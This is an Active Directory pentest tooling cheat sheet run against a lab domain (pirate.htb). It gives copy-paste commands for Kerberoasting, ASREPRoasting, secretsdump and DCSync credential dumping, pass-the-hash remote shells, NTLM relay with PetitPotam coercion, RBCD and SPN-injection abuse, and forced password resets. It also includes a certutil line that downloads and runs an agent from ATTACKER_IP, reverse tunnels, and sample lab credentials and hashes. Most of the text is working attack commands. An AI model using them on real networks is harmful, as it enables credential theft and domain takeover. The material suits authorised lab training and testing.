ad-pentest-tools.md (28452B)
1 --- 2 title: "AD Pentest Tools Workflow" 3 description: "Tooling-oriented AD engagement workflow with copy-paste commands from enumeration to domain takeover." 4 category: active-directory 5 subcategory: "Tooling & Recon" 6 tags: [active-directory, tooling, workflow, enumeration] 7 tools: [NetExec, BloodHound, Impacket, ldapsearch] 8 difficulty: advanced 9 updated: "2026-08-09" 10 source: "vault:ActiveDirectory/AD_Pentest_Tools_Cheat_Sheet.md" 11 --- 12 13 # AD Pentest Tools Workflow 14 15 Every tool used in a typical AD chain: what it does, how to use it, and when to reach for it. Example targets use `10.129.202.43` / `pirate.htb` — swap for yours. 16 17 ## Tool Categories 18 19 | Category | Tools | 20 |----------|-------| 21 | Reconnaissance | `nmap`, `rustscan`, `enum4linux-ng`, `ldapsearch`, `bloodhound-python` | 22 | Kerberos abuse | `impacket-getTGT`, `impacket-getST`, `klist` | 23 | Credential access | `gMSADumper`, `impacket-secretsdump` | 24 | Shells & execution | `evil-winrm`, `impacket-psexec`, `impacket-wmiexec`, `impacket-smbexec` | 25 | Pivoting | `ligolo-ng`, `chisel` | 26 | Relay attacks | `impacket-ntlmrelayx`, `coercer` | 27 | ACL / AD abuse | `bloodyAD`, `addspn.py` | 28 | Swiss army knife | `NetExec` (`nxc`) | 29 30 ## Kerberos Environment — Configure This First 31 32 These affect every Kerberos-based tool. Get them wrong and nothing works. 33 34 **/etc/hosts** — every Kerberos tool resolves hostnames; without entries, DNS fails silently and ticket requests go nowhere: 35 36 ```bash 37 # Add before touching any target 38 sudo tee -a /etc/hosts << 'EOF' 39 10.129.202.43 dc01.pirate.htb pirate.htb DC01 40 EOF 41 42 # Add internal hosts after pivoting 43 # 192.168.100.2 web01.pirate.htb WEB01 44 ``` 45 46 **/etc/krb5.conf** — Impacket, gMSADumper, and all GSSAPI tools read this to find the KDC: 47 48 ```bash 49 sudo bash -c 'cat > /etc/krb5.conf << EOF 50 [libdefaults] 51 default_realm = PIRATE.HTB 52 dns_lookup_realm = false 53 dns_lookup_kdc = false 54 forwardable = true 55 rdns = false 56 default_tgs_enctypes = aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96 rc4-hmac 57 default_tkt_enctypes = aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96 rc4-hmac 58 59 [realms] 60 PIRATE.HTB = { 61 kdc = dc01.pirate.htb 62 admin_server = dc01.pirate.htb 63 } 64 65 [domain_realm] 66 .pirate.htb = PIRATE.HTB 67 pirate.htb = PIRATE.HTB 68 EOF' 69 ``` 70 71 | Key | Purpose | 72 |-----|---------| 73 | `default_realm` | Must be **uppercase** — `PIRATE.HTB` not `pirate.htb` | 74 | `dns_lookup_kdc = false` | Specify the KDC directly; lab DNS is unreliable | 75 | `rdns = false` | Prevents reverse DNS lookups that fail in labs | 76 | `default_tgs_enctypes` | Allows RC4-HMAC alongside AES — needed because gMSA hashes are NTLM (RC4) | 77 | `kdc = dc01.pirate.htb` | Resolved via `/etc/hosts` — always set hosts first | 78 79 **Clock sync (±5 minute tolerance):** 80 81 ```bash 82 # Check the skew 83 nmap --script smb2-time -p 445 10.129.202.43 84 85 # Sync clock to DC 86 sudo ntpdate -u 10.129.202.43 87 88 # Verify 89 timedatectl status 90 ``` 91 92 **Ticket management:** 93 94 ```bash 95 # The most important line in any Kerberos attack 96 export KRB5CCNAME=/absolute/path/to/username.ccache 97 # Always use an absolute path. Relative paths break when tools change dir. 98 # Filenames with $ need escaping: MS01\$.ccache 99 100 klist # show current tickets + expiry 101 klist -e # show encryption types 102 kdestroy # destroy current ticket 103 kinit user@PIRATE.HTB # get new TGT interactively 104 ``` 105 106 ## 1. Nmap 107 108 Network scanner: discovers hosts, open ports, services, OS, and runs NSE scripts. 109 110 ```bash 111 # STAGE 1: ping sweep 112 nmap -sn 10.129.202.0/24 -oN recon/hosts.txt 113 114 # STAGE 2: full port scan 115 nmap -p- --min-rate 5000 -T4 10.129.202.43 -oN recon/ports.txt 116 117 # STAGE 3: service + default scripts on discovered ports 118 nmap -sC -sV -p 53,80,88,139,389,443,445,636,3268,5985 \ 119 10.129.202.43 -oN recon/services.txt 120 121 # STAGE 4: AD-specific scripts 122 nmap --script smb2-time,smb2-security-mode,ldap-rootdse,\ 123 krb5-enum-users,smb-enum-domains,dns-nsid \ 124 -p 53,88,389,445 10.129.202.43 -oN recon/ad.txt 125 126 # Useful single-liners 127 nmap --script vuln 10.129.202.43 # vuln scan 128 nmap -sU -p 161 10.129.202.43 # UDP / SNMP 129 nmap --script http-title -p 80,443,8080,8443 # quick web titles 130 ``` 131 132 > **AD-relevant ports —** 133 > | Port | Service | Meaning | 134 > |------|---------|---------| 135 > | 88 | Kerberos | Confirmed DC — TGT requests, ASREPRoast, Kerberoast | 136 > | 389/636 | LDAP/LDAPS | Enumerate users, groups, ACLs, delegations | 137 > | 445 | SMB | Check signing status before any relay | 138 > | 5985/5986 | WinRM | Shell access with valid creds or hash | 139 > | 3268/3269 | Global Catalog | Cross-domain queries | 140 141 **1-ALT. RustScan** replaces stages 1–3 in a single command — async port discovery, then hands off to nmap: 142 143 ```bash 144 # Install RustScan (check the releases page for the current version) 145 wget https://github.com/RustScan/RustScan/releases/download/2.3.0/rustscan_2.3.0_amd64.deb 146 sudo dpkg -i rustscan_2.3.0_amd64.deb 147 148 # Full scan — discover ports then pipe to nmap for -sC -sV 149 rustscan -a 10.129.202.43 --ulimit 5000 \ 150 -- -sC -sV -oN recon/rustscan_detailed.txt 151 152 # Still run AD-specific scripts and clock skew scans separately 153 nmap --script smb2-time,smb2-security-mode,ldap-rootdse,\ 154 krb5-enum-users -p 53,88,389,445 10.129.202.43 -oN recon/ad.txt 155 ``` 156 157 `--ulimit 5000` limits concurrent connections — too high causes false negatives on unstable VPN links. `--` passes everything after it directly to nmap. 158 159 ## 2. enum4linux-ng 160 161 Wraps SMB/LDAP/RPC enumeration to extract users, groups, shares, password policy, and OS info — no credentials needed on misconfigured systems. 162 163 ```bash 164 # Full enumeration, JSON + YAML output 165 enum4linux-ng -A 10.129.202.43 -oA recon/enum4linux 166 167 # Specific modules 168 enum4linux-ng -U 10.129.202.43 # users only 169 enum4linux-ng -G 10.129.202.43 # groups only 170 enum4linux-ng -S 10.129.202.43 # shares only 171 enum4linux-ng -P 10.129.202.43 # password policy 172 173 # With credentials 174 enum4linux-ng -A 10.129.202.43 -u 'a.white' -p 'E2nvAOKSz5Xz2MJu' 175 ``` 176 177 Look for: users list (Kerberoast/ASREPRoast targets); password policy (min length, lockout threshold); shares (`IPC$`, `SYSVOL`, `NETLOGON`, custom). 178 179 NetExec alternative for anonymous enumeration: 180 181 ```bash 182 nxc smb 10.129.202.43 -u '' -p '' --shares 183 nxc smb 10.129.202.43 -u '' -p '' --users 184 nxc smb 10.129.202.43 -u 'guest' -p '' --shares # guest session fallback 185 ``` 186 187 ## 3. ldapsearch 188 189 Direct LDAP queries against AD — the most reliable way to enumerate users, groups, GPOs, service accounts, and delegation configs without a GUI. 190 191 ```bash 192 # ANONYMOUS BIND (no creds) 193 194 # Get the base naming context first 195 ldapsearch -x -H ldap://10.129.202.43 -b "" -s base namingContexts 196 197 # Dump everything (anonymous, if allowed) 198 ldapsearch -x -H ldap://10.129.202.43 \ 199 -b "DC=pirate,DC=htb" "(objectClass=*)" > ldap_all.txt 200 201 # AUTHENTICATED 202 ldapsearch -x -H ldap://10.129.202.43 \ 203 -D "a.white@pirate.htb" -w 'E2nvAOKSz5Xz2MJu' \ 204 -b "DC=pirate,DC=htb" "(objectClass=user)" \ 205 sAMAccountName memberOf pwdLastSet 206 ``` 207 208 AD-specific queries — copy-paste reference: 209 210 ```bash 211 # Pre-Win2000 Compatible Access group members 212 ldapsearch -x -H ldap://10.129.202.43 \ 213 -b "DC=pirate,DC=htb" \ 214 "(memberOf=CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=pirate,DC=htb)" \ 215 sAMAccountName 216 217 # All gMSA accounts 218 ldapsearch -x -H ldap://10.129.202.43 \ 219 -b "DC=pirate,DC=htb" \ 220 "(objectClass=msDS-GroupManagedServiceAccount)" \ 221 sAMAccountName msDS-GroupMSAMembership 222 223 # Accounts with Kerberos delegation 224 ldapsearch -x -H ldap://10.129.202.43 \ 225 -b "DC=pirate,DC=htb" \ 226 "(msDS-AllowedToDelegateTo=*)" \ 227 sAMAccountName msDS-AllowedToDelegateTo 228 229 # ASREPRoastable accounts (no pre-auth) 230 ldapsearch -x -H ldap://10.129.202.43 \ 231 -b "DC=pirate,DC=htb" \ 232 "(userAccountControl:1.2.840.113556.1.4.803:=4194304)" \ 233 sAMAccountName 234 235 # Kerberoastable accounts (have SPN) 236 ldapsearch -x -H ldap://10.129.202.43 \ 237 -b "DC=pirate,DC=htb" \ 238 "(&(objectClass=user)(servicePrincipalName=*))" \ 239 sAMAccountName servicePrincipalName 240 241 # Verify SPN location (after addspn.py injection) 242 ldapsearch -x -H ldap://10.129.202.43 \ 243 -D "a.white_adm@pirate.htb" -w 'Pwn3d2026!' \ 244 -b "DC=pirate,DC=htb" "(sAMAccountName=DC01$)" \ 245 servicePrincipalName 246 ``` 247 248 **windapsearch alternative** — wraps common LDAP queries into simple flags: 249 250 ```bash 251 # Install 252 go install github.com/ropnop/go-windapsearch@latest 253 254 # Common queries 255 windapsearch -d pirate.htb --dc dc01.pirate.htb -u 'a.white' -p 'pass' --da # domain admins 256 windapsearch -d pirate.htb --dc dc01.pirate.htb -u 'a.white' -p 'pass' --computers # all computers 257 windapsearch -d pirate.htb --dc dc01.pirate.htb -u 'a.white' -p 'pass' --gpos # GPOs 258 windapsearch -d pirate.htb --dc dc01.pirate.htb -u 'a.white' -p 'pass' --unconstrained-delegation 259 ``` 260 261 ## 4. BloodHound + bloodhound-python 262 263 Collects AD relationship data and visualises attack paths as a graph — the fastest way to find ACL abuse chains, delegation misconfigs, and shortest paths to Domain Admin. 264 265 ```bash 266 # Install 267 pipx install bloodhound 268 269 # COLLECTION (run as soon as you have ANY valid creds) 270 271 # With username + password 272 bloodhound-python -d pirate.htb -dc dc01.pirate.htb \ 273 -u 'a.white' -p 'E2nvAOKSz5Xz2MJu' \ 274 -c All --zip -ns 10.129.202.43 275 276 # With NTLM hash (Pass-the-Hash) 277 bloodhound-python -d pirate.htb -dc dc01.pirate.htb \ 278 -u 'gMSA_ADFS_prod$' --hashes :8126756fb2e69697bfcb04816e685839 \ 279 -c All --zip -ns 10.129.202.43 280 281 # With Kerberos ticket 282 KRB5CCNAME=MS01\$.ccache bloodhound-python \ 283 -d pirate.htb -dc dc01.pirate.htb \ 284 -u 'MS01$' --auth-method kerberos \ 285 -c All --zip -ns 10.129.202.43 286 ``` 287 288 > **Note —** Modern BloodHound is BloodHound CE (SpecterOps), which uses Docker Compose / `bhce` rather than the legacy neo4j + Java GUI. For CE, collect with a matching `bloodhound-python -v` or SharpHound version and drag the zip into the web UI. The legacy GUI below still works for the old edition. 289 290 **Starting the legacy BloodHound GUI:** 291 292 ```bash 293 sudo apt install neo4j bloodhound 294 sudo neo4j start 295 bloodhound & 296 # Default creds: neo4j / neo4j -> change on first login 297 ``` 298 299 Useful Cypher queries (paste into the raw query bar): 300 301 ```cypher 302 // GenericWrite edges (like a.white -> a.white_adm) 303 MATCH p=(u)-[r:GenericWrite]->(t) RETURN p 304 305 // Who can read gMSA passwords? 306 MATCH p=(u)-[r:ReadGMSAPassword]->(g) RETURN p 307 308 // All delegation paths 309 MATCH p=(u)-[r:AllowedToDelegate]->(c) RETURN p 310 311 // Shortest paths from owned principals to Domain Admin 312 // (mark owned users first: right-click -> Mark as Owned) 313 ``` 314 315 **NetExec BloodHound collection:** 316 317 ```bash 318 # Single command — handles collection + zipping 319 nxc ldap dc01.pirate.htb -u 'a.white' -p 'E2nvAOKSz5Xz2MJu' \ 320 --bloodhound -c All --dns-server 10.129.202.43 321 ``` 322 323 ## 5. Impacket Suite 324 325 Python library implementing Windows network protocols — the single most important toolkit for AD pentesting (20+ tools for Kerberos, SMB, LDAP, RPC). On Kali the scripts are prefixed `impacket-` (e.g. `impacket-getTGT`); the raw `getTGT.py` names also work from a source checkout. 326 327 **5.1 — getTGT (request a Kerberos TGT)** 328 329 ```bash 330 # Standard — with password 331 impacket-getTGT PIRATE.HTB/username:password -dc-ip 10.129.202.43 332 333 # Pre-Win2000 — machine name IS the password 334 impacket-getTGT 'PIRATE.HTB/MS01$:ms01' -dc-ip 10.129.202.43 335 336 # With NTLM hash (Pass-the-Hash for Kerberos) 337 impacket-getTGT PIRATE.HTB/user -hashes :NTLMhash -dc-ip 10.129.202.43 338 339 # Use the ticket 340 export KRB5CCNAME=$(pwd)/username.ccache 341 klist # verify it's valid 342 ``` 343 344 **5.2 — getST (service ticket / S4U2Proxy / constrained delegation)** 345 346 ```bash 347 # RBCD: machine account impersonates Administrator for CIFS on WEB01 348 impacket-getST -spn 'cifs/WEB01.pirate.htb' \ 349 -impersonate 'Administrator' \ 350 'pirate.htb/URNYIFYY$:MTbIJRrN1El!HLH' \ 351 -dc-ip 10.129.202.43 352 353 # KCD + altservice (SPN injection scenario) 354 # -altservice rewrites the sname field in the ticket 355 impacket-getST -spn 'HTTP/WEB01.pirate.htb' \ 356 -impersonate 'Administrator' \ 357 'pirate.htb/a.white_adm:Pwn3d2026!' \ 358 -dc-ip 10.129.202.43 \ 359 -altservice 'CIFS/DC01.pirate.htb' 360 361 export KRB5CCNAME=Administrator@cifs_DC01.pirate.htb@PIRATE.HTB.ccache 362 ``` 363 364 **5.3 — GetNPUsers (ASREPRoast)** 365 366 ```bash 367 # No creds — find accounts with "Do not require Kerberos preauthentication" 368 impacket-GetNPUsers PIRATE.HTB/ -dc-ip 10.129.202.43 -no-pass \ 369 -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt 370 371 # Crack with hashcat 372 hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt 373 ``` 374 375 **5.4 — GetUserSPNs (Kerberoast)** 376 377 ```bash 378 # With creds — find SPN accounts and request their TGS tickets 379 impacket-GetUserSPNs PIRATE.HTB/a.white:E2nvAOKSz5Xz2MJu \ 380 -dc-ip 10.129.202.43 \ 381 -request -outputfile kerb_hashes.txt 382 383 # Crack 384 hashcat -m 13100 kerb_hashes.txt /usr/share/wordlists/rockyou.txt 385 ``` 386 387 **5.5 — psexec / smbexec / wmiexec (remote execution)** 388 389 ```bash 390 # psexec — uploads a service binary, noisiest, gives SYSTEM 391 impacket-psexec PIRATE.HTB/Administrator:password@10.129.202.43 392 393 # With hash 394 impacket-psexec -hashes :NTLMhash PIRATE.HTB/Administrator@10.129.202.43 395 396 # With Kerberos ticket 397 impacket-psexec -k -no-pass DC01.pirate.htb 398 399 # wmiexec — uses WMI, no service install, less noisy, user-level 400 impacket-wmiexec -k -no-pass DC01.pirate.htb 401 402 # smbexec — creates a service but cleans up, middle ground 403 impacket-smbexec -k -no-pass DC01.pirate.htb 404 ``` 405 406 | Tool | Method | Noise | Runs As | Notes | 407 |------|--------|-------|---------|-------| 408 | `psexec` | SMB named pipe + service | High | SYSTEM | Leaves artifacts; most reliable | 409 | `wmiexec` | WMI process create | Low | User-level | No service install; semi-interactive | 410 | `smbexec` | SMB service create + cleanup | Medium | SYSTEM | Cleans up after itself | 411 412 **5.6 — atexec / dcomexec (additional execution methods)** 413 414 ```bash 415 # atexec — uses Task Scheduler (AT); good when other methods are blocked 416 impacket-atexec PIRATE.HTB/Administrator:password@10.129.202.43 'whoami' 417 418 # dcomexec — uses DCOM (MMC20.Application or ShellWindows) 419 impacket-dcomexec PIRATE.HTB/Administrator:password@10.129.202.43 420 impacket-dcomexec -object MMC20 PIRATE.HTB/Administrator:password@10.129.202.43 421 ``` 422 423 ## 6. secretsdump 424 425 Dumps credential stores — SAM, LSA secrets, NTDS.dit, cached domain logons, DPAPI secrets. 426 427 ```bash 428 # REMOTE DUMP (most common) 429 430 # With password 431 impacket-secretsdump PIRATE.HTB/Administrator:password@10.129.202.43 432 433 # With hash 434 impacket-secretsdump -hashes :NTLMhash PIRATE.HTB/Administrator@10.129.202.43 435 436 # With Kerberos ticket 437 impacket-secretsdump -k -no-pass WEB01.pirate.htb -outputfile web01_dump 438 439 # SAM + LSA only (skip NTDS, faster on member servers) 440 impacket-secretsdump -sam -lsa PIRATE.HTB/Administrator:password@10.129.202.43 441 ``` 442 443 ```bash 444 # DC DUMP (DCSync — all hashes without NTDS.dit access) 445 # Requires: replication rights (DA or delegated) 446 impacket-secretsdump -just-dc PIRATE.HTB/Administrator:password@dc01.pirate.htb 447 448 # Just one user's hash 449 impacket-secretsdump -just-dc-user krbtgt PIRATE.HTB/Administrator:password@dc01.pirate.htb 450 451 # -outputfile creates: web01_dump.sam, web01_dump.secrets, web01_dump.ntds 452 impacket-secretsdump ... -outputfile web01_dump 453 ``` 454 455 | Output Section | Format | Use Case | 456 |---------------|--------|----------| 457 | `LSA Secrets` | Plaintext service-account passwords | Recover cleartext creds | 458 | `SAM` hashes | `Administrator:500:LM:NTLM:::` | Use the NTLM part (not LM) for PTH | 459 | `NTDS` | Every domain account hash | Full domain compromise — PTH across all accounts | 460 | `Cached domain logons` | `DCC2` hashes | Crack offline with hashcat `-m 2100` | 461 462 **NetExec alternatives for credential dumping:** 463 464 ```bash 465 nxc smb dc01.pirate.htb -u Administrator -H :NTLMhash --sam # SAM hashes 466 nxc smb dc01.pirate.htb -u Administrator -H :NTLMhash --lsa # LSA secrets 467 nxc smb dc01.pirate.htb -u Administrator -H :NTLMhash --ntds # DCSync via NTDS 468 ``` 469 470 ## 7. Evil-WinRM 471 472 PowerShell remote shell over WinRM (5985/5986). Supports Pass-the-Hash, Kerberos, file upload/download, in-memory script loading. 473 474 ```bash 475 # CONNECT 476 477 # With password 478 evil-winrm -i dc01.pirate.htb -u 'a.white' -p 'E2nvAOKSz5Xz2MJu' 479 480 # Pass-the-Hash 481 evil-winrm -i dc01.pirate.htb -u 'gMSA_ADFS_prod$' \ 482 -H '8126756fb2e69697bfcb04816e685839' 483 484 # With Kerberos (set KRB5CCNAME first) 485 evil-winrm -i dc01.pirate.htb -r PIRATE.HTB 486 ``` 487 488 File transfer (inside the Evil-WinRM prompt): 489 490 ```powershell 491 upload /local/path/agent.exe C:\Users\Public\agent.exe 492 download C:\Users\Administrator\Desktop\root.txt 493 # Load a PowerShell script in-memory (no disk touch): start evil-winrm with -s /path/to/scripts/ 494 ``` 495 496 Situational awareness — run on every new machine: 497 498 ```powershell 499 whoami /all # privs + groups 500 net localgroup administrators # who is local admin? 501 Get-ADUser -Filter * -Properties * # all AD users 502 Get-ADGroupMember "Domain Admins" # DA members 503 (Get-ADComputer -Filter *).Name # all computers 504 ipconfig /all # NICs, subnets, DNS 505 ``` 506 507 > **Tip — fix broken evil-winrm.** After Kali updates, evil-winrm often breaks with `rubyzip` errors: `sudo gem install evil-winrm`. 508 509 ## 8. NetExec (nxc) 510 511 The modern successor to CrackMapExec. Single tool for password spraying, credential validation, enumeration, and modules across SMB, WinRM, LDAP, MSSQL, SSH, RDP. 512 513 ```bash 514 # CREDENTIAL VALIDATION 515 nxc smb 10.129.202.43 -u 'a.white' -p 'E2nvAOKSz5Xz2MJu' 516 # Output: [+] = valid, [-] = invalid, Pwn3d! = local admin 517 nxc winrm dc01.pirate.htb -u 'a.white' -p 'E2nvAOKSz5Xz2MJu' 518 nxc smb 10.129.202.43 -u Administrator -H :NTLMhash # Pass-the-Hash 519 ``` 520 521 ```bash 522 # SPRAYING (watch lockout threshold!) 523 nxc smb 10.129.202.43 -u users.txt -p 'Winter2024!' --continue-on-success 524 ``` 525 526 ```bash 527 # ENUMERATION 528 nxc smb 10.129.202.43 -u 'a.white' -p 'pass' --shares 529 nxc smb 10.129.202.43 -u 'a.white' -p 'pass' --loggedon-users 530 nxc ldap dc01.pirate.htb -u 'a.white' -p 'pass' --bloodhound -c All 531 nxc ldap dc01.pirate.htb -u 'MS01$' -p 'ms01' --gmsa 532 ``` 533 534 ```bash 535 # EXECUTION 536 nxc smb 10.129.202.43 -u Admin -p pass -x "whoami" # cmd 537 nxc smb 10.129.202.43 -u Admin -p pass -X "Get-Process" # PowerShell 538 ``` 539 540 > **Warning — password-spraying safety.** Always check the lockout policy first (`enum4linux-ng -P` or `nxc smb --pass-pol`). One spray per lockout window. Locking out accounts is the fastest way to get caught. 541 542 ## 9. gMSADumper 543 544 Reads `msDS-ManagedPassword` from LDAP to extract gMSA NTLM hashes. Only works if your account has read access to that attribute (`msDS-GroupMSAMembership`). 545 546 ```bash 547 git clone https://github.com/micahvandeusen/gMSADumper && cd gMSADumper 548 pip install gssapi 549 550 # With username + password 551 python3 gMSADumper.py -u 'MS01$' -p 'ms01' -d pirate.htb -l dc01.pirate.htb 552 553 # With Kerberos ticket 554 KRB5CCNAME=/absolute/path/MS01\$.ccache \ 555 python3 gMSADumper.py -d pirate.htb -l dc01.pirate.htb -k 556 557 # Alternative — NetExec is often more reliable 558 nxc ldap dc01.pirate.htb -u 'MS01$' -p 'ms01' --gmsa 559 ``` 560 561 Output format: 562 563 ```text 564 gMSA_ADFS_prod$:::8126756fb2e69697bfcb04816e685839 <- NTLM hash -> PTH 565 gMSA_ADFS_prod$:aes256-cts-hmac-sha1-96:4b663e09... <- AES key -> Kerberos 566 ``` 567 568 If empty, check `PrincipalsAllowedToRetrieveManagedPassword` on the gMSA object — your account must be in that group or its membership chain. 569 570 ## 10. Ligolo-ng 571 572 Creates a transparent Layer-3 VPN tunnel through a compromised host using a kernel `tun` interface. Unlike proxychains (SOCKS), every tool works natively — no prefix. 573 574 ```bash 575 # SETUP (one-time) 576 wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-ng_proxy_linux_amd64.tar.gz 577 wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-ng_agent_windows_amd64.zip 578 579 # Create tun interface 580 sudo ip tuntap add user $(whoami) mode tun ligolo 581 sudo ip link set ligolo up 582 ``` 583 584 ```bash 585 # EVERY TIME 586 # Terminal 1: start proxy (attacker) 587 ./proxy -selfcert -laddr 0.0.0.0:443 588 589 # Target (via shell): download and run agent 590 certutil.exe -urlcache -f http://ATTACKER_IP:8080/agent.exe agent.exe 591 .\agent.exe -connect ATTACKER_IP:443 -ignore-cert 592 593 # Terminal 1 (proxy console): activate 594 # ligolo-ng » session 595 # [Agent: ...] » start 596 597 # Add route to internal subnet 598 sudo ip route add 192.168.100.0/24 dev ligolo 599 sudo ip route add 172.16.50.0/24 dev ligolo # multiple subnets 600 ``` 601 602 ```bash 603 # LISTENER: forward port 4444 on the pivot to your 4444 (reverse shells from WEB01) 604 # [Agent: ...] » listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 605 ``` 606 607 **Chisel alternative (SOCKS proxy fallback)** — tradeoff is you must prefix commands with `proxychains`: 608 609 ```bash 610 # Attacker: start chisel server 611 chisel server -p 8000 --reverse 612 613 # Pivot (Evil-WinRM): run chisel client 614 .\chisel.exe client 10.10.14.42:8000 R:socks 615 616 # Attacker: use proxychains for internal-subnet targets 617 proxychains nmap -sC -sV 192.168.100.2 618 proxychains evil-winrm -i 192.168.100.2 -u admin -p pass 619 ``` 620 621 ## 11. ntlmrelayx 622 623 Relays NTLM authentication to other services — when a machine is forced to authenticate to your listener, you forward that credential to a target service. 624 625 ```bash 626 # COMMON RELAY TARGETS 627 628 # Relay to LDAPS + RBCD 629 impacket-ntlmrelayx -t ldaps://10.129.202.43 \ 630 --delegate-access --remove-mic -smb2support 631 632 # Relay to SMB — dump SAM (target must have signing disabled) 633 impacket-ntlmrelayx -t smb://192.168.100.2 -smb2support 634 635 # Relay to LDAPS — create a new computer account 636 impacket-ntlmrelayx -t ldaps://10.129.202.43 --add-computer HACKED$ 637 638 # Relay to MSSQL 639 impacket-ntlmrelayx -t mssql://192.168.100.5 -smb2support 640 641 # Relay to multiple targets 642 impacket-ntlmrelayx -tf targets.txt -smb2support 643 ``` 644 645 | Flag | Purpose | 646 |------|---------| 647 | `--delegate-access` | Add RBCD rights to newly created machine account | 648 | `--remove-mic` | Bypass MIC (needed for cross-protocol relay, e.g. NTLM -> LDAPS) | 649 | `--no-dump` | Skip SAM dump (quieter) | 650 | `-smb2support` | Enable SMB2 (required for modern Windows) | 651 | `-6` | Listen on IPv6 too | 652 653 Before a relay, always check: is SMB signing disabled on the victim (`nmap --script smb2-security-mode`)? Is LDAP signing enforced on target (LDAPS on 636 often bypasses this)? Are victim and target different machines? 654 655 ## 12. Coercer 656 657 Forces a Windows machine to authenticate to an attacker server via RPC protocols (MS-EFSR, MS-FSRVP, MS-DFSNM, etc). The "push" that makes NTLM relay work. 658 659 ```bash 660 pipx install coercer 661 662 # SCAN MODE: check which protocols are available 663 coercer scan -t 192.168.100.2 -d pirate.htb \ 664 -u 'gMSA_ADFS_prod$' --hashes :8126756fb2e69697bfcb04816e685839 665 666 # COERCE MODE: force authentication 667 coercer coerce \ 668 -l 10.10.14.42 \ 669 -t 192.168.100.2 \ 670 -d pirate.htb \ 671 -u 'gMSA_ADFS_prod$' \ 672 --hashes :8126756fb2e69697bfcb04816e685839 \ 673 --always-continue 674 ``` 675 676 ```bash 677 # SPECIFIC PROTOCOLS 678 # Only MS-EFSR (PetitPotam — most reliable) 679 coercer coerce -l 10.10.14.42 -t 192.168.100.2 \ 680 -d pirate.htb -u user -p pass \ 681 --filter-method-name EfsRpcEncryptFileSrv 682 683 # PetitPotam directly (original PoC) 684 python3 PetitPotam.py -u 'user' -p 'pass' -d pirate.htb \ 685 10.10.14.42 192.168.100.2 686 ``` 687 688 > **Important — start the relay before coercion.** `ntlmrelayx` must be listening before you run coercer. Authentication arriving with no relay listener is lost. 689 690 ## 13. bloodyAD 691 692 Swiss army knife for AD object manipulation — modify attributes, ACLs, passwords, group memberships directly via LDAP. 693 694 ```bash 695 pipx install bloodyAD 696 697 # PASSWORD OPERATIONS 698 # Reset another user's password (requires GenericWrite/ForceChangePassword) 699 bloodyAD -d pirate.htb -u 'a.white' -p 'E2nvAOKSz5Xz2MJu' \ 700 --host 10.129.202.43 set password a.white_adm 'Pwn3d2026!' 701 702 # GROUP MEMBERSHIP 703 bloodyAD -d pirate.htb -u 'a.white' -p 'pass' \ 704 --host dc01.pirate.htb add groupMember "Domain Admins" a.white 705 bloodyAD -d pirate.htb -u 'a.white' -p 'pass' \ 706 --host dc01.pirate.htb remove groupMember "Group" username 707 708 # ATTRIBUTE MANIPULATION 709 # Set RBCD (msDS-AllowedToActOnBehalfOfOtherIdentity) 710 bloodyAD -d pirate.htb -u 'a.white' -p 'pass' \ 711 --host dc01.pirate.htb add rbcd WEB01$ HACKER$ 712 713 # Disable pre-auth (make account ASREPRoastable) 714 bloodyAD -d pirate.htb -u 'a.white' -p 'pass' \ 715 --host dc01.pirate.htb add uac target.user -f DONT_REQ_PREAUTH 716 ``` 717 718 ```bash 719 # READ OPERATIONS — check what you can write to 720 bloodyAD -d pirate.htb -u 'a.white' -p 'pass' \ 721 --host dc01.pirate.htb get writable 722 ``` 723 724 **rpcclient fallback for password reset:** 725 726 ```bash 727 rpcclient -U 'pirate.htb/a.white%E2nvAOKSz5Xz2MJu' 10.129.202.43 \ 728 -c 'setuserinfo2 a.white_adm 23 Pwn3d2026!' 729 ``` 730 731 ## 14. addspn.py (krbrelayx) 732 733 Adds, removes, or lists SPNs on AD objects. Part of the krbrelayx toolkit — key for SPN injection (moving an SPN from one computer to another to redirect Kerberos delegation). 734 735 ```bash 736 git clone https://github.com/dirkjanm/krbrelayx && cd krbrelayx 737 738 # LIST SPNs on an account 739 python3 addspn.py \ 740 -u 'pirate.htb\a.white_adm' -p 'Pwn3d2026!' \ 741 -t 'DC01$' --list 10.129.202.43 742 743 # ADD an SPN 744 python3 addspn.py \ 745 -u 'pirate.htb\a.white_adm' -p 'Pwn3d2026!' \ 746 -t 'DC01$' \ 747 -s 'HTTP/WEB01.pirate.htb' \ 748 10.129.202.43 749 750 # REMOVE an SPN (-r flag) 751 python3 addspn.py \ 752 -u 'pirate.htb\a.white_adm' -p 'Pwn3d2026!' \ 753 -t 'WEB01$' \ 754 -s 'HTTP/WEB01.pirate.htb' \ 755 -r 10.129.202.43 756 757 # VERIFY (with ldapsearch) 758 ldapsearch -x -H ldap://10.129.202.43 \ 759 -D 'a.white_adm@pirate.htb' -w 'Pwn3d2026!' \ 760 -b "DC=pirate,DC=htb" "(sAMAccountName=DC01$)" servicePrincipalName 761 ``` 762 763 **Why SPN injection matters:** constrained delegation resolves the target by which computer has the SPN registered. Move `HTTP/WEB01` from `WEB01$` to `DC01$` and the KDC issues delegation tickets for DC01 — even though the delegation config on `a.white_adm` hasn't changed. 764 765 ## Auth Methods Across Tools — Quick Reference 766 767 | Tool | Password | NTLM Hash | Kerberos Ticket | 768 |------|----------|-----------|-----------------| 769 | `impacket-getTGT` | `-p pass` | `-hashes :NTLM` | N/A (produces tickets) | 770 | `impacket-getST` | `:pass` | `-hashes :NTLM` | `-k -no-pass` + `KRB5CCNAME` | 771 | `impacket-secretsdump` | `:pass` | `-hashes :NTLM` | `-k -no-pass` | 772 | `impacket-psexec` | `:pass` | `-hashes :NTLM` | `-k -no-pass` | 773 | `evil-winrm` | `-p pass` | `-H NTLM` | `-r REALM` + `KRB5CCNAME` | 774 | `nxc` | `-p pass` | `-H :NTLM` | `-k` + `KRB5CCNAME` | 775 | `bloodhound-python` | `-p pass` | `--hashes :NTLM` | `--auth-method kerberos` | 776 | `bloodyAD` | `-p pass` | `-p :NTLM` (or `--hashes`) | `-k` | 777 | `coercer` | `-p pass` | `--hashes :NTLM` | `-k` | 778 779 ## Troubleshooting Reference 780 781 | Error | Cause | Fix | 782 |-------|-------|-----| 783 | 